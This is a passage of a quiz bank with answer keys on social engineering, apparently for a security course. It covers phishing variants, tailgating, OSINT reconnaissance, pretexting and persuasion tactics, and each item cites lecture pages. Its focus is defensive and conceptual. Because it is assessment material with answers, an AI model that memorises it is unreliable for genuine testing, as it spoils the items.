Q5. [Select all that apply] Which statements accurately describe social engineering?

- A. It can sometimes be used for ethical behavior change
- B. It may use psychological manipulation
- C. It may involve impersonation or pretexting
- D. It can affect cybersecurity and traditional scams
- E. It always requires malware

Answer: A, B, C, D. It may use psychological manipulation; It may involve impersonation or pretexting; It can affect cybersecurity and traditional scams; It can sometimes be used for ethical behavior change

Why: Social engineering is broader than malware and may be used in both malicious and ethical contexts.

Lecture source: p. 7

Q6. [EXCEPT / NOT] All of the following can be central to social engineering EXCEPT:

- A. Trust
- B. Urgency
- C. Authority
- D. The mathematical strength of an encryption algorithm

Answer: D. The mathematical strength of an encryption algorithm

Why: Social engineering usually targets perception, judgment, and behavior rather than cryptographic mathematics.

Lecture source: pp. 19-21

Q7. [True / False] Social engineering may target a person even when the attacker ultimately wants access to a technical system.

- A. Only for email attachments
- B. Only when a firewall is absent
- C. True
- D. False

Answer: C. True

Why: The person may be used as the path to credentials, malware execution, or physical access.

Lecture source: pp. 7, 12-13

Q8. [True / False] Social engineering is limited to email messages.

- A. Only when a firewall is absent
- B. False
- C. True
- D. Only for email attachments

Answer: B. False

Why: It includes digital and physical methods such as calls, SMS, tailgating, baiting, and shoulder surfing.

Lecture source: pp. 8-10

Q9. [Assertion-reason] Assertion: Security awareness matters even in organizations with strong technical controls.

Reason: Attackers may influence users to disclose information or take actions that bypass controls.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Human behavior remains security-relevant.

Lecture source: pp. 7, 20-21

Q10. [Mini case study] A company wants employees to adopt safer reporting habits through carefully designed reminders and positive reinforcement. Which statement is most accurate?

- A. The organization is necessarily conducting phishing
- B. The organization is performing SQL injection
- C. The organization is disabling authentication
- D. The organization is using influence techniques for an ethical security objective

Answer: D. The organization is using influence techniques for an ethical security objective

Why: Influence techniques are not inherently malicious.

Lecture source: p. 7

Q11. [Misconception check] Which statement is most accurate about the human element in security?

- A. Technical controls are unnecessary if staff are trained once
- B. All security decisions are automatic
- C. Human decisions can create risk, so procedures should make secure behavior practical and understandable
- D. Users should be treated as the only cause of every incident

Answer: C. Human decisions can create risk, so procedures should make secure behavior practical and understandable

Why: Secure design should account for realistic human behavior.

Lecture source: pp. 21, 49

Q12. [Defensive design] Which organizational approach best addresses social-engineering risk?

- A. Assume senior staff are never targeted
- B. Combine usable procedures, technical controls, ongoing training, and a clear reporting process
- C. Rely only on annual posters
- D. Block every external message without exceptions

Answer: B. Combine usable procedures, technical controls, ongoing training, and a clear reporting process

Why: Social-engineering resilience requires layered controls and practical user support.

Lecture source: pp. 43-49

2. Digital and physical social-engineering methods

26 questions. Answers appear immediately below each item.

Q13. [Classification] Which technique best matches this description: A deceptive message impersonates a trusted entity to trick recipients into revealing information or taking an unsafe action?

- A. Phishing
- B. Vishing
- C. Smishing
- D. Baiting

Answer: A. Phishing

Why: A deceptive message impersonates a trusted entity to trick recipients into revealing information or taking an unsafe action

Lecture source: pp. 9, 25

Q14. [Classification] Which technique best matches this description: A voice call is used as the phishing channel?

- A. Phishing
- B. Smishing
- C. Baiting
- D. Vishing

Answer: D. Vishing

Why: A voice call is used as the phishing channel

Lecture source: p. 9

Q15. [Classification] Which technique best matches this description: An SMS or text message is used as the phishing channel?

- A. Vishing
- B. Baiting
- C. Smishing
- D. Phishing

Answer: C. Smishing

Why: An SMS or text message is used as the phishing channel

Lecture source: pp. 8-9, 25

Q16. [Classification] Which technique best matches this description: A tempting offer or object is used to lure the victim into compromising security?

- A. Smishing
- B. Baiting
- C. Phishing
- D. Vishing

Answer: B. Baiting

Why: A tempting offer or object is used to lure the victim into compromising security

Lecture source: p. 9

Q17. [Classification] Which technique best matches this description: A legitimate website commonly visited by the target group is compromised?

- A. Waterholing
- B. Phishing
- C. Vishing
- D. Smishing

Answer: A. Waterholing

Why: A legitimate website commonly visited by the target group is compromised

Lecture source: p. 9

Q18. [Classification] Which technique best matches this description: A fake hotspot imitates a legitimate network name?

- A. Phishing
- B. Vishing
- C. Smishing
- D. WiFi spoofing

Answer: D. WiFi spoofing

Why: A fake hotspot imitates a legitimate network name

Lecture source: p. 9

Q19. [Classification] Which technique best matches this description: Discarded documents or trash are searched for sensitive information?

- A. Vishing
- B. Smishing
- C. Dumpster diving
- D. Phishing

Answer: C. Dumpster diving

Why: Discarded documents or trash are searched for sensitive information

Lecture source: p. 10

Q20. [Classification] Which technique best matches this description: An unauthorized person follows an authorized person into a restricted area?

- A. Smishing
- B. Tailgating
- C. Phishing
- D. Vishing

Answer: B. Tailgating

Why: An unauthorized person follows an authorized person into a restricted area

Lecture source: p. 10

Q21. [Classification] Which technique best matches this description: Sensitive information is observed physically, visually, or by overhearing a conversation?

- A. Shoulder surfing
- B. Phishing
- C. Vishing
- D. Smishing

Answer: A. Shoulder surfing

Why: Sensitive information is observed physically, visually, or by overhearing a conversation

Lecture source: p. 10

Q22. [Mini case study] A caller claims to be from the bank fraud team and asks a customer to disclose a one-time code. Which technique is illustrated?

- A. Phishing
- B. Smishing
- C. Baiting
- D. Vishing

Answer: D. Vishing

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 9

Q23. [Mini case study] A text message warns that an account will be locked unless the recipient opens a link immediately. Which technique is illustrated?

- A. Baiting
- B. Waterholing
- C. Smishing
- D. Vishing

Answer: C. Smishing

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: pp. 9, 25

Q24. [Mini case study] USB drives labeled with an attractive topic are left where employees may connect them to work computers. Which technique is illustrated?

- A. WiFi spoofing
- B. Baiting
- C. Smishing
- D. Waterholing

Answer: B. Baiting

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: pp. 8-9

Q25. [Mini case study] A group of engineers is targeted through a legitimate industry website they visit frequently. Which technique is illustrated?

- A. Waterholing
- B. Phishing
- C. Vishing
- D. Smishing

Answer: A. Waterholing

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 9

Q26. [Mini case study] A hotspot named nearly the same as a hotel network is created to capture user traffic. Which technique is illustrated?

- A. Vishing
- B. Smishing
- C. Baiting
- D. WiFi spoofing

Answer: D. WiFi spoofing

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 9

Q27. [Mini case study] An intruder enters a secure office by walking closely behind an employee who has scanned a badge. Which technique is illustrated?

- A. Baiting
- B. Waterholing
- C. Tailgating
- D. Smishing

Answer: C. Tailgating

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 10

Q28. [Mini case study] An attacker reads confidential notes left in a recycling bin. Which technique is illustrated?

- A. Smishing
- B. Dumpster diving
- C. Phishing
- D. Vishing

Answer: B. Dumpster diving

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 10

Q29. [Mini case study] A person watches an employee type a PIN in a public area. Which technique is illustrated?

- A. Shoulder surfing
- B. Vishing
- C. Smishing
- D. Baiting

Answer: A. Shoulder surfing

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 10

Q30. [Mini case study] An attacker overhears a confidential conversation on public transport. Which technique is illustrated?

- A. Smishing
- B. Baiting
- C. Waterholing
- D. Shoulder surfing

Answer: D. Shoulder surfing

Why: The defining feature is the channel or access method described in the scenario.

Lecture source: p. 10

Q31. [Select all that apply] Which techniques are primarily physical social-engineering methods?

- A. Dumpster diving
- B. Tailgating
- C. Shoulder surfing
- D. Smishing
- E. Waterholing
- F. WiFi spoofing

Answer: A, B, C. Dumpster diving; Tailgating; Shoulder surfing

Why: Physical techniques involve in-person observation, discarded material, or unauthorized entry.

Lecture source: p. 10

Q32. [Select all that apply] Which techniques are primarily digital social-engineering methods?

- A. Baiting
- B. Waterholing
- C. WiFi spoofing
- D. Tailgating
- E. Phishing
- F. Vishing
- G. Smishing

Answer: A, B, C, E, F, G. Phishing; Vishing; Smishing; Baiting; Waterholing; WiFi spoofing

Why: Digital attacks use messages, websites, devices, or network impersonation.

Lecture source: pp. 8-9

Q33. [Comparison] Which comparison correctly distinguishes phishing from spear phishing?

- A. Phishing can target a broad population, while spear phishing is tailored to a specific person or group
- B. Phishing uses only SMS, while spear phishing uses only voice calls
- C. Phishing requires physical entry, while spear phishing requires a firewall
- D. Phishing is always harmless, while spear phishing always installs ransomware

Answer: A. Phishing can target a broad population, while spear phishing is tailored to a specific person or group

Why: Personalization is the key distinction.

Lecture source: pp. 8, 12-13

Q34. [Comparison] Which comparison correctly distinguishes whaling from generic phishing?

- A. Whaling uses only USB devices
- B. Whaling is another name for shoulder surfing
- C. Whaling can occur only through compromised DNS servers
- D. Whaling focuses on high-value individuals such as senior executives

Answer: D. Whaling focuses on high-value individuals such as senior executives

Why: Whaling is targeted social engineering aimed at senior decision-makers or similar high-value targets.

Lecture source: p. 8

Q35. [EXCEPT / NOT] All of the following are plausible social-engineering attack paths EXCEPT:

- A. A fake WiFi hotspot
- B. An unauthorized visitor following an employee through a secure door
- C. A parameterized SQL query correctly separating code from user input
- D. A malicious attachment

Answer: C. A parameterized SQL query correctly separating code from user input

Why: Prepared statements reduce SQL-injection risk and are not social-engineering attack paths.

Lecture source: pp. 8-10

Q36. [True / False] A fake WiFi network can be a hybrid social-engineering approach because it can attract many users while still targeting a relevant location.

- A. Only when a firewall is absent
- B. True
- C. False
- D. Only for email attachments

Answer: B. True

Why: The approach is opportunistic but shaped toward a target population or place.

Lecture source: pp. 9, 12

Q37. [Defensive design] Which control most directly reduces tailgating risk?

- A. Require each person to authenticate individually and encourage staff to challenge or report unknown entrants
- B. Publish employee passwords
- C. Disable access logs
- D. Allow doors to remain open during busy hours

Answer: A. Require each person to authenticate individually and encourage staff to challenge or report unknown entrants

Why: Physical access procedures should prevent one credential from admitting multiple people.

Lecture source: p. 10

Q38. [Defensive design] Which control most directly reduces shoulder-surfing risk in public areas?

- A. Use shorter passwords so they are easier to type
- B. Read credentials aloud to confirm accuracy
- C. Post access codes near the workstation
- D. Shield sensitive input, avoid exposing confidential screens, and remain aware of nearby observers

Answer: D. Shield sensitive input, avoid exposing confidential screens, and remain aware of nearby observers

Why: Physical observation is reduced through privacy-aware behavior and workspace controls.

Lecture source: p. 10

3. Attack lifecycle, targeting, contact, and pivoting

17 questions. Answers appear immediately below each item.

Q39. [Single answer] What is the main purpose of choosing a target during a social-engineering campaign?

- A. Create a firewall state table
- B. Normalize a database schema
- C. Identify people who can provide access to the desired data or system component
- D. Select the strongest encryption algorithm

Answer: C. Identify people who can provide access to the desired data or system component

Why: Target selection connects the attacker objective to people with relevant access.

Lecture source: p. 12

Q40. [Single answer] What does pivoting mean in a social-engineering context?

- A. Switching from TCP to UDP filtering
- B. Using an initially compromised person or account as a steppingstone for further attacks
- C. Changing a password after login
- D. Moving a website to a new data center

Answer: B. Using an initially compromised person or account as a steppingstone for further attacks

Why: An initial foothold may make later internal messages or contacts more convincing.

Lecture source: p. 12

Q41. [Comparison] Which comparison correctly distinguishes explicit and opportunistic targets?

- A. An explicit target is selected for valuable access, while an opportunistic campaign reaches a broad group to improve the chance of success
- B. An explicit target is always physical, while an opportunistic target is always digital
- C. An explicit target uses only SMS, while an opportunistic target uses only email
- D. An explicit target has no access, while an opportunistic target must be a CEO

Answer: A. An explicit target is selected for valuable access, while an opportunistic campaign reaches a broad group to improve the chance of success

Why: The difference is targeted focus versus broad reach.

Lecture source: p. 12

Q42. [Single answer] Which example best represents a hybrid targeting approach?

- A. A carefully researched message sent to one finance director only
- B. A generic message sent randomly worldwide with no relevant context
- C. A firewall rule applied to every packet
- D. A fake WiFi hotspot placed where members of a relevant organization are likely to connect

Answer: D. A fake WiFi hotspot placed where members of a relevant organization are likely to connect

Why: A hybrid tactic combines broad opportunity with contextual targeting.

Lecture source: p. 12

Q43. [Mini case study] An attacker compromises a junior employee account and then sends internal-looking requests to the finance team. Which concept best describes the use of the first account?

- A. Domain signing
- B. Packet fragmentation
- C. Pivoting
- D. URL shortening

Answer: C. Pivoting

Why: The compromised account is used as a steppingstone.

Lecture source: p. 12

Q44. [Mini case study] A campaign sends a generic parcel-delivery message to thousands of addresses. Which targeting model best fits?

- A. Only post-exploitation activity
- B. Opportunistic targeting
- C. Explicit targeting
- D. Only physical targeting

Answer: B. Opportunistic targeting

Why: The campaign prioritizes scale rather than individualized access.

Lecture source: p. 12

Q45. [Mini case study] An attacker researches one executive and prepares a message based on current business travel. Which targeting model best fits?

- A. Explicit targeting
- B. Opportunistic targeting
- C. Random routing
- D. Allow-list filtering

Answer: A. Explicit targeting

Why: The attacker selects a specific high-value individual and personalizes the approach.

Lecture source: pp. 12, 18

Q46. [Select all that apply] Which goals may shape the method used to contact a target?

- A. Extract sensitive information
- B. Deploy malware
- C. Gain physical access
- D. Gain remote access
- E. Select a database primary key

Answer: A, B, C, D. Extract sensitive information; Deploy malware; Gain physical access; Gain remote access

Why: The attack channel depends on the intended outcome.

Lecture source: p. 13

Q47. [Comparison] Which statement about contacting a target is most accurate?

- A. Contact must always involve email
- B. Contact can occur only after malware is installed
- C. Contact may be manual or automated, and it may be a one-off event or a longer relationship
- D. Contact must always be automated

Answer: C. Contact may be manual or automated, and it may be a one-off event or a longer relationship

Why: Social-engineering contact strategies vary with the objective and pretext.

Lecture source: p. 13

Q48. [Single answer] Why does personalization often increase the success of a social-engineering message?

- A. It removes the need for an attacker objective
- B. Relevant details make the pretext more plausible and trustworthy
- C. It mathematically strengthens encryption
- D. It prevents all email filtering

Answer: B. Relevant details make the pretext more plausible and trustworthy

Why: Information gathering can make the contact appear legitimate.

Lecture source: pp. 13, 18

Q49. [Single answer] Which sequence most closely matches a typical social-engineering lifecycle?

- A. Explore and gather information, engage the target, execute the attack, then close the interaction or cover tracks
- B. Encrypt, hash, route, then fragment
- C. Patch, reboot, archive, then delete logs
- D. Compile, normalize, index, then query

Answer: A. Explore and gather information, engage the target, execute the attack, then close the interaction or cover tracks

Why: The lifecycle moves from reconnaissance through engagement and execution to withdrawal.

Lecture source: p. 11

Q50. [Select all that apply] Which activities can belong to the exploration stage?

- A. Send final payment instructions
- B. Identify potential targets
- C. Gather information about the target
- D. Choose an attack method
- E. Delete evidence after the interaction ends

Answer: B, C, D. Identify potential targets; Gather information about the target; Choose an attack method

Why: Exploration is reconnaissance and planning.

Lecture source: p. 11

Q51. [Select all that apply] Which activities can belong to the engagement or entrapment stage?

- A. Gain the target attention or sympathy
- B. Attempt to control the situation
- C. Establish rapport
- D. Terminate the transaction and erase traces
- E. Patch the target system

Answer: A, B, C. Gain the target attention or sympathy; Attempt to control the situation; Establish rapport

Why: The engagement stage tries to draw the target into the pretext.

Lecture source: p. 11

Q52. [Select all that apply] Which activities can belong to the closure stage?

- A. Attempt to cover tracks
- B. Close the transaction
- C. Delete malware where applicable
- D. Choose the initial target
- E. Withdraw from the situation

Answer: A, B, C, E. Withdraw from the situation; Attempt to cover tracks; Close the transaction; Delete malware where applicable

Why: The closing stage is intended to end the operation and reduce exposure.

Lecture source: p. 11

Q53. [Assertion-reason] Assertion: Information gathering can improve both target selection and message credibility.

Reason: Collected details help identify valuable access and construct believable pretexts.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Reconnaissance supports both strategy and persuasion.

Lecture source: pp. 12-18

Q54. [True / False] A broad phishing campaign and a highly personalized message can belong to the same social-engineering threat family.

- A. False
- B. Only for email attachments
- C. Only when a firewall is absent
- D. True

Answer: D. True

Why: They differ in targeting specificity, not in whether they are social engineering.

Lecture source: pp. 8, 12

Q55. [EXCEPT / NOT] All of the following can improve a pretext EXCEPT:

- A. Using current events
- B. Establishing rapport
- C. Including facts that visibly contradict the target situation
- D. Using relevant work information

Answer: C. Including facts that visibly contradict the target situation

Why: A pretext is stronger when it appears plausible and context-aware.

Lecture source: pp. 18, 20

4. Information gathering, OSINT, and pretext construction

16 questions. Answers appear immediately below each item.

Q56. [Single answer] What is the main security concern with publicly available information about employees?

- A. Public information prevents impersonation
- B. Separate details can be combined to build convincing pretexts or identify valuable targets
- C. Public information automatically patches servers
- D. Public information always proves identity

Answer: B. Separate details can be combined to build convincing pretexts or identify valuable targets

Why: OSINT can make social-engineering attacks more credible.

Lecture source: pp. 14-16

Q57. [Select all that apply] Which sources may reveal useful personal information for social-engineering reconnaissance?

- A. Public records
- B. Social media profiles
- C. Forums and message boards
- D. Content posted by friends or family
- E. Company websites
- F. Media reports
- G. A private key stored only in a hardware token

Answer: A, B, C, D, E, F. Public records; Social media profiles; Forums and message boards; Content posted by friends or family; Company websites; Media reports

Why: Personal reconnaissance often combines public and semi-public sources.

Lecture source: p. 15

Q58. [Select all that apply] Which sources may reveal useful organizational information?

- A. Court documents
- B. DNS records
- C. Company press releases
- D. Employee social-media posts
- E. Credential data from breaches
- F. Only encrypted backups
- G. Public business records

Answer: A, B, C, D, E, G. Public business records; Court documents; DNS records; Company press releases; Employee social-media posts; Credential data from breaches

Why: Organizational reconnaissance may use public records, infrastructure data, company communications, staff posts, and leaked credentials.

Lecture source: p. 16

Q59. [Single answer] Why can reused usernames increase social-engineering risk?

- A. A reused username always grants administrator rights
- B. A reused username prevents account enumeration
- C. A username found on one service may help identify related accounts or personal context elsewhere
- D. Usernames automatically encrypt messages

Answer: C. A username found on one service may help identify related accounts or personal context elsewhere

Why: Cross-platform correlation can reveal more information about a target.

Lecture source: p. 15

Q60. [Mini case study] An attacker links a public conference biography, a company press release, and social-media travel posts to create a believable message. Which activity is being performed?

- A. TCP retransmission
- B. OSINT-based information gathering
- C. Stateful packet inspection
- D. SQL parameterization

Answer: B. OSINT-based information gathering

Why: The attacker combines open-source details to construct a pretext.

Lecture source: pp. 14-16, 18

Q61. [Mini case study] A defender discovers that staff social-media check-ins reveal regular locations and travel dates. What is the best conclusion?

- A. Seemingly harmless posts can support targeted pretexts and timing decisions
- B. Check-ins are irrelevant because they are not passwords
- C. Only dark-web data creates risk
- D. The organization should disable DNSSEC

Answer: A. Seemingly harmless posts can support targeted pretexts and timing decisions

Why: Contextual information can improve attack plausibility.

Lecture source: p. 15

Q62. [Single answer] What can DNS or domain-registration information contribute to reconnaissance?

- A. The plaintext value of every password
- B. Automatic authorization to send mail as any domain
- C. A guarantee that a website is safe
- D. Infrastructure and domain-related context that may support impersonation or organizational profiling

Answer: D. Infrastructure and domain-related context that may support impersonation or organizational profiling

Why: Domain data can help an attacker understand organizational assets and create plausible imitations.

Lecture source: p. 16

Q63. [Single answer] Why are data-breach credentials especially sensitive in a social-engineering context?

- A. They can only be used for DNS queries
- B. They make phishing detection unnecessary
- C. They may enable account compromise, password reuse attacks, or more convincing personalization
- D. They always prove a firewall is disabled

Answer: C. They may enable account compromise, password reuse attacks, or more convincing personalization

Why: Breached credentials can support both direct access attempts and tailored manipulation.

Lecture source: p. 16

Q64. [Single answer] What can analysis of public cryptocurrency transactions reveal?

- A. A guaranteed malware signature
- B. Transaction patterns, wallet relationships, and possible links to identities or services
- C. A private key for every wallet
- D. The exact physical location of every user with certainty

Answer: B. Transaction patterns, wallet relationships, and possible links to identities or services

Why: Blockchain data may support network analysis and behavioral inference, but not automatic certainty.

Lecture source: p. 17

Q65. [Select all that apply] Which conclusions are reasonable when using OSINT defensively?

- A. Only dark-web sources matter
- B. Public fragments can become sensitive when combined
- C. Information posted by others can affect an employee risk profile
- D. Staff should understand that work and personal context may be correlated
- E. All public information must be deleted from the Internet

Answer: B, C, D. Public fragments can become sensitive when combined; Information posted by others can affect an employee risk profile; Staff should understand that work and personal context may be correlated

Why: Risk often arises from aggregation and correlation.

Lecture source: pp. 14-17

Q66. [Comparison] Which comparison is most accurate regarding reconnaissance sources?

- A. Only anonymously accessed information can be used for pretexting
- B. Surface-web data is always harmless
- C. Public records cannot affect security
- D. Surface-web and company-site information may be easy to obtain, while anonymously accessed sources can add further context but raise additional ethical and legal questions

Answer: D. Surface-web and company-site information may be easy to obtain, while anonymously accessed sources can add further context but raise additional ethical and legal questions

Why: Reconnaissance sources differ in accessibility, sensitivity, and ethical implications.

Lecture source: pp. 14-17, 22

Q67. [Single answer] What is the primary purpose of a pretext?

- A. Create a firewall allow rule
- B. Generate a database index
- C. Provide a believable context that encourages the target to comply with a request
- D. Encrypt an attachment

Answer: C. Provide a believable context that encourages the target to comply with a request

Why: A pretext is the story or situation used to make the request credible.

Lecture source: p. 18

Q68. [Mini case study] A message references a real upcoming conference and asks an employee to log in to review a presentation assignment. Which element makes the message more convincing?

- A. A packet-fragment overlap
- B. A work-related pretext based on a current event
- C. A SYN cookie
- D. A DKIM failure

Answer: B. A work-related pretext based on a current event

Why: Relevant events can make a request seem routine.

Lecture source: p. 18

Q69. [Mini case study] An impersonator combines work travel details with a personal relationship detail before requesting a document. What is the security concern?

- A. Combining work and personal information can strengthen the plausibility of the pretext
- B. The message becomes cryptographically signed automatically
- C. The firewall state table is corrupted
- D. The request becomes safe because it is personalized

Answer: A. Combining work and personal information can strengthen the plausibility of the pretext

Why: Mixed-context details can build trust and rapport.

Lecture source: p. 18

**Q70. [Assertion-reason] Assertion: Publicly accessible data can still create security risk.
Reason: Attackers may aggregate public facts into a persuasive and targeted pretext.**

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Public does not mean harmless when information can be correlated.

Lecture source: pp. 14-18

Q71. [Defensive design] Which organizational measure best reduces OSINT-enabled social-engineering risk without banning all public communication?

- A. Assume public information cannot be abused
- B. Use one shared password for all staff
- C. Limit unnecessary exposure, review public content, train staff about correlation risks, and verify sensitive requests through independent channels
- D. Publish more internal access details for transparency

Answer: C. Limit unnecessary exposure, review public content, train staff about correlation risks, and verify sensitive requests through independent channels

Why: Risk reduction should be proportional and practical.

Lecture source: pp. 14-18, 49

5. Persuasion tactics and human decision-making

26 questions. Answers appear immediately below each item.

Q72. [Classification] Which persuasion tactic best matches this description: The request appears to come from an important person or institution?

- A. Trust and familiarity
- B. Authority
- C. Fear and urgency
- D. Scarcity and urgency

Answer: B. Authority

Why: The request appears to come from an important person or institution

Lecture source: pp. 19-20

Q73. [Classification] Which persuasion tactic best matches this description: The message creates panic and pressure to act quickly?

- A. Fear and urgency
- B. Scarcity and urgency
- C. Trust and familiarity
- D. Plausibility

Answer: A. Fear and urgency

Why: The message creates panic and pressure to act quickly

Lecture source: p. 20

Q74. [Classification] Which persuasion tactic best matches this description: The target is told that an opportunity is limited or expiring?

- A. Trust and familiarity
- B. Plausibility
- C. Curiosity
- D. Scarcity and urgency

Answer: D. Scarcity and urgency

Why: The target is told that an opportunity is limited or expiring

Lecture source: p. 20

Q75. [Classification] Which persuasion tactic best matches this description: The request appears to come from someone known or trusted?

- A. Curiosity
- B. Reciprocity
- C. Trust and familiarity
- D. Plausibility

Answer: C. Trust and familiarity

Why: The request appears to come from someone known or trusted

Lecture source: p. 20

Q76. [Classification] Which persuasion tactic best matches this description: The story is believable enough that the target may not question it?

- A. Convenience
- B. Plausibility
- C. Curiosity
- D. Reciprocity

Answer: B. Plausibility

Why: The story is believable enough that the target may not question it

Lecture source: p. 20

Q77. [Classification] Which persuasion tactic best matches this description: The target is encouraged to inspect something interesting or surprising?

- A. Curiosity
- B. Authority
- C. Fear and urgency
- D. Scarcity and urgency

Answer: A. Curiosity

Why: The target is encouraged to inspect something interesting or surprising

Lecture source: p. 20

Q78. [Classification] Which persuasion tactic best matches this description: The target feels pressure to return a favor or respond to a benefit?

- A. Fear and urgency
- B. Scarcity and urgency
- C. Trust and familiarity
- D. Reciprocity

Answer: D. Reciprocity

Why: The target feels pressure to return a favor or respond to a benefit

Lecture source: p. 20

Q79. [Classification] Which persuasion tactic best matches this description: The unsafe option is presented as the easiest way to complete a task?

- A. Trust and familiarity
- B. Plausibility
- C. Convenience
- D. Scarcity and urgency

Answer: C. Convenience

Why: The unsafe option is presented as the easiest way to complete a task

Lecture source: p. 20

Q80. [Classification] Which persuasion tactic best matches this description: The target is influenced by affinity or apparent group behavior?

- A. Curiosity
- B. Liking and social proof
- C. Trust and familiarity
- D. Plausibility

Answer: B. Liking and social proof

Why: The target is influenced by affinity or apparent group behavior

Lecture source: p. 19

Q81. [Mini case study] A message claims to be from the chief executive and demands an immediate confidential transfer. Which persuasion tactic is most prominent?

- A. Authority
- B. Trust and familiarity
- C. Plausibility
- D. Curiosity

Answer: A. Authority

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q82. [Mini case study] A notification says the account will be permanently closed in ten minutes unless the user logs in. Which persuasion tactic is most prominent?

- A. Plausibility
- B. Curiosity
- C. Reciprocity
- D. Fear and urgency

Answer: D. Fear and urgency

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q83. [Mini case study] An offer claims that only two access slots remain and requires immediate registration. Which persuasion tactic is most prominent?

- A. Reciprocity
- B. Convenience
- C. Scarcity and urgency
- D. Curiosity

Answer: C. Scarcity and urgency

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q84. [Mini case study] A request appears to come from a trusted colleague and refers to a shared project. Which persuasion tactic is most prominent?

- A. Scarcity and urgency
- B. Trust and familiarity
- C. Authority
- D. Fear and urgency

Answer: B. Trust and familiarity

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q85. [Mini case study] A realistic-looking company website and ordinary wording make a request seem routine. Which persuasion tactic is most prominent?

- A. Plausibility
- B. Fear and urgency
- C. Scarcity and urgency
- D. Trust and familiarity

Answer: A. Plausibility

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q86. [Mini case study] A mysterious attachment named salary-adjustments.pdf encourages employees to open it. Which persuasion tactic is most prominent?

- A. Scarcity and urgency
- B. Trust and familiarity
- C. Plausibility
- D. Curiosity

Answer: D. Curiosity

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q87. [Mini case study] A caller first offers assistance and later asks the employee to return a small favor. Which persuasion tactic is most prominent?

- A. Plausibility
- B. Curiosity
- C. Reciprocity
- D. Trust and familiarity

Answer: C. Reciprocity

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q88. [Mini case study] A message presents a one-click bypass as the fastest way to finish a task. Which persuasion tactic is most prominent?

- A. Reciprocity
- B. Convenience
- C. Plausibility
- D. Curiosity

Answer: B. Convenience

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q89. [Mini case study] A message says everyone on the team has already completed the unusual request. Which persuasion tactic is most prominent?

- A. Liking and social proof
- B. Authority
- C. Fear and urgency
- D. Scarcity and urgency

Answer: A. Liking and social proof

Why: The scenario is designed to exploit the named psychological influence.

Lecture source: pp. 19-20

Q90. [Select all that apply] Which factors can influence whether a user follows a security procedure?

- A. Only the sender IP address
- B. Perceived risk
- C. Perceived effectiveness of the secure action
- D. Cost or inconvenience of acting securely
- E. Attitudes and social norms
- F. Emotional triggers

Answer: B, C, D, E, F. Perceived risk; Perceived effectiveness of the secure action; Cost or inconvenience of acting securely; Attitudes and social norms; Emotional triggers

Why: Security behavior is context-dependent and shaped by perception, effort, norms, and emotion.

Lecture source: p. 21

Q91. [Single answer] Why are barriers to compliance security-relevant?

- A. Barriers prevent all phishing messages
- B. Barriers prove that an email is signed
- C. Users may skip verification steps when secure behavior feels difficult, slow, or annoying
- D. Barriers automatically improve authentication

Answer: C. Users may skip verification steps when secure behavior feels difficult, slow, or annoying

Why: Usable security reduces the temptation to bypass protective steps.

Lecture source: p. 21

Q92. [Single answer] What does it mean that many security actions are non-automatic decisions?

- A. Security actions always require administrator privileges
- B. Users must actively notice the risk and choose to perform a protective step
- C. Every secure action is performed by hardware without user input
- D. Users cannot learn secure habits

Answer: B. Users must actively notice the risk and choose to perform a protective step

Why: Attackers can exploit moments when users are busy or distracted.

Lecture source: p. 21

Q93. [Mini case study] An employee understands phishing in theory but skips URL verification while rushing to finish an urgent task. Which lesson is most relevant?

- A. Security decisions are context-dependent and can be influenced by urgency and the perceived cost of checking
- B. Training is useless in every case
- C. The URL must have been cryptographically secure
- D. The employee needs a larger TCP backlog

Answer: A. Security decisions are context-dependent and can be influenced by urgency and the perceived cost of checking

Why: Awareness alone does not remove situational pressure or usability barriers.

Lecture source: pp. 20-21

**Q94. [Assertion-reason] Assertion: Urgency is commonly used in phishing.
Reason: Pressure can reduce the time a target spends verifying a request.**

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Urgency encourages rapid, less reflective action.

Lecture source: pp. 19-21, 25

Q95. [True / False] A polished message can still be malicious.

- A. Only for email attachments
- B. Only when a firewall is absent
- C. True
- D. False

Answer: C. True

Why: Professional appearance may support trustworthiness and plausibility.

Lecture source: pp. 19-20, 44

Q96. [EXCEPT / NOT] All of the following can make secure behavior harder EXCEPT:

- A. Fear of consequences after reporting a mistake
- B. A simple, well-designed reporting process with clear guidance
- C. Unclear instructions
- D. Unrealistic advice

Answer: B. A simple, well-designed reporting process with clear guidance

Why: Actionable and supportive processes improve compliance.

Lecture source: p. 49

Q97. [Defensive design] Which design principle best accounts for real human decision-making?

- A. Make secure actions easy, explain what to verify, and provide a low-friction reporting path
- B. Assume users will remember every rule during stressful moments
- C. Penalize every report of an accidental click
- D. Use vague instructions such as be careful online

Answer: A. Make secure actions easy, explain what to verify, and provide a low-friction reporting path

Why: Secure procedures should be usable and actionable.

